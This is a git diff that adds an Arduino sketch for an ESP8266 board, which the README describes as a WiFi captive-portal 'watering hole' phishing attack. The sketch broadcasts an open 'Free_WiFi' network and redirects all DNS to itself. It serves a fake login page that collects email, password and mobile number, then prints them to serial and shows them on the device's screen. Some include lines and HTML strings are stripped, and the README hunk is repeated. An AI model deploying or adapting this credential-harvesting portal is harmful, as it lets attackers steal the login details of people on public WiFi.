diff --git a/README.md b/README.md index 330afa6..73312d3 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,13 @@ # Scripts +** WateringHole.ino ** + +WiFi captive portal Watering hole / Phishing attack example - Click to watch demo video: + +[![WiFiKit8 Watteringhole](http://img.youtube.com/vi/nTzNuCnqRZs/0.jpg)](http://www.youtube.com/watch?v=nTzNuCnqRZs "WiFiKit8 Watteringhole") + + ** BatteryMeters.ino ** Example Battery Gauges - Click to watch demo video: @@ -21,4 +28,6 @@ Use the following guide to setup the arduino environment for the wifi kit 8: [https://robotzero.one/heltec-wifi-kit-8/](https://robotzero.one/heltec-wifi-kit-8/) -Simple how to set up for access point mode or station mode: [https://lastminuteengineers.com/creating-esp8266-web-server-arduino-ide/](https://lastminuteengineers.com/creating-esp8266-web-server-arduino-ide/) \ No newline at end of file +Simple how to set up for access point mode or station mode: [https://lastminuteengineers.com/creating-esp8266-web-server-arduino-ide/](https://lastminuteengineers.com/creating-esp8266-web-server-arduino-ide/) + +u8g2 graphics library reference: [https://github.com/olikraus/u8g2/wiki/u8g2reference](https://github.com/olikraus/u8g2/wiki/u8g2reference) \ No newline at end of file diff --git a/README.md b/README.md index 330afa6..73312d3 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,13 @@ # Scripts +** WateringHole.ino ** + +WiFi captive portal Watering hole / Phishing attack example - Click to watch demo video: + +[![WiFiKit8 Watteringhole](http://img.youtube.com/vi/nTzNuCnqRZs/0.jpg)](http://www.youtube.com/watch?v=nTzNuCnqRZs "WiFiKit8 Watteringhole") + + ** BatteryMeters.ino ** Example Battery Gauges - Click to watch demo video: @@ -21,4 +28,6 @@ Use the following guide to setup the arduino environment for the wifi kit 8: [https://robotzero.one/heltec-wifi-kit-8/](https://robotzero.one/heltec-wifi-kit-8/) -Simple how to set up for access point mode or station mode: [https://lastminuteengineers.com/creating-esp8266-web-server-arduino-ide/](https://lastminuteengineers.com/creating-esp8266-web-server-arduino-ide/) \ No newline at end of file +Simple how to set up for access point mode or station mode: [https://lastminuteengineers.com/creating-esp8266-web-server-arduino-ide/](https://lastminuteengineers.com/creating-esp8266-web-server-arduino-ide/) + +u8g2 graphics library reference: [https://github.com/olikraus/u8g2/wiki/u8g2reference](https://github.com/olikraus/u8g2/wiki/u8g2reference) \ No newline at end of file diff --git a/WateringHole.ino b/WateringHole.ino new file mode 100644 index 0000000..cf781fb --- /dev/null +++ b/WateringHole.ino @@ -0,0 +1,192 @@ +#include +#include +#include +#include +#include + +IPAddress local_IP(192,168,0,1); +IPAddress gateway(192,168,0,1); +IPAddress subnet(255,255,255,0); + +DNSServer dnsServer; +ESP8266WebServer server(80); + +#ifdef U8X8_HAVE_HW_SPI +#include +#endif +#ifdef U8X8_HAVE_HW_I2C +#include +#endif + +U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ 16, /* clock=*/ 5, /* data=*/ 4); +ADC_MODE(ADC_VCC); + +int loginAttempts = 0; +String email = ""; +String password = ""; +String noMob = ""; + +void setup() { + Serial.begin(115200); + + // screen stuff (128 x 32 px) + pinMode(10, OUTPUT); + pinMode(9, OUTPUT); + digitalWrite(10, 0); + digitalWrite(9, 0); + u8g2.begin(); + u8g2.enableUTF8Print(); + + Serial.print("Setting soft-AP configuration ... "); + Serial.println(WiFi.softAPConfig(local_IP, gateway, subnet) ? "Ready" : "Failed!"); + Serial.print("Setting soft-AP ... "); + Serial.println(WiFi.softAP("Free_WiFi", "", 1, false, 6) ? "Ready" : "Failed!"); + Serial.print("Soft-AP IP address = "); + Serial.println(WiFi.softAPIP()); + + server.on("/", httpHome); + server.on("/login", httpLogin); + server.on("/register", httpRegister); + server.onNotFound(httpDefault); + if (server.hostHeader() == String("freewifi.lan")) { + return httpHome(); + } + server.begin(); + + dnsServer.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer.start(53, "*", local_IP); + + Serial.println("Setup done"); + + getBatteryLevel(); + + delay(100); +} + +int getBatteryLevel() { + uint32_t getVcc = ESP.getVcc(); + //Serial.println(getVcc); + float measuredvbat = getVcc; // for actual voltage + measuredvbat /= 1024; // convert to voltage + //Serial.println(measuredvbat); + + int percent = map(getVcc, 2300, 3000, 0, 100); // turn vcc into batt perentage (yea I know it's not that accurate due to dropoff rate) + return percent; + //return random(10,90); //DEBUG +} + +void battSideBar(int percent){ + percent = map(percent, 0, 100, 1, 32); + if(percent > 32){ percent = 32; } + if(percent < 1){ percent = 1; } + + u8g2.drawLine(124, 32-percent,124, 32); + + u8g2.drawLine(127, 0, 127, 32); // vert line + u8g2.drawLine(126, 0, 127, 0); // top marker (100%) + u8g2.drawLine(126, 8, 127, 8); // (75%) + u8g2.drawLine(126, 16, 127, 16); // middle marker (50%) + u8g2.drawLine(126, 24, 127, 24); //(25%) + u8g2.drawLine(126, 31, 127, 31); // botttom marker (0%) +} + +int noConnected(){ + int conns = WiFi.softAPgetStationNum(); + + String connStr = ""; + connStr += conns; + connStr += "/6"; + char connChr[connStr.length()+1]; + connStr.toCharArray(connChr, connStr.length()+1); + + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(100,21,connChr); +} + +int noAttempts(){ + String atmpStr = "t: "; + atmpStr += loginAttempts; + char atmpChr[atmpStr.length()+1]; + atmpStr.toCharArray(atmpChr, atmpStr.length()+1); + + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(90,32,atmpChr); +} + +void creds(){ + char emailChr[email.length()+1]; + email.toCharArray(emailChr, email.length()+1); + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(0,10,emailChr); + + char passwordChr[password.length()+1]; + password.toCharArray(passwordChr, password.length()+1); + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(0,21,passwordChr); + + char noMobChr[noMob.length()+1]; + noMob.toCharArray(noMobChr, noMob.length()+1); + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(0,32,noMobChr); +} + +void httpDefault(){ + server.sendHeader("Location", "http://freewifi.lan", true); + server.send(302, "text/plain", ""); + server.client().stop(); +} + +void httpHome(){ + server.send(200, "text/html", SendHTML(false,false)); +} +void httpLogin(){ + server.send(200, "text/html", SendHTML(true,false)); +} +void httpRegister(){ + loginAttempts += 1; + email = server.arg("email"); + password = server.arg("pass"); + noMob = server.arg("no"); + + Serial.println(email); + Serial.println(password); + Serial.println(noMob); + + server.send(200, "text/html", SendHTML(false,true)); +} + +String SendHTML(uint8_t login,uint8_t reg){ + String page = "Free WiFi Portal
"; + page += "\"Free"; + if(login){ + page += "

Incorrect Code"; + } + if(reg){ + page += "

Code will be SMSed shortly"; + } + page += "

Login Code

"; + page += "
"; + + page += "
Register

"; + page += "
"; + page += "
Email:
Password:
Mobile No.:
"; + page += "
"; + + return page; +} + +void loop() { + u8g2.clearBuffer(); + int percent = getBatteryLevel(); + battSideBar(percent); + + dnsServer.processNextRequest(); + + noConnected(); + noAttempts(); + creds(); + server.handleClient(); + + u8g2.sendBuffer(); + delay(1000); +}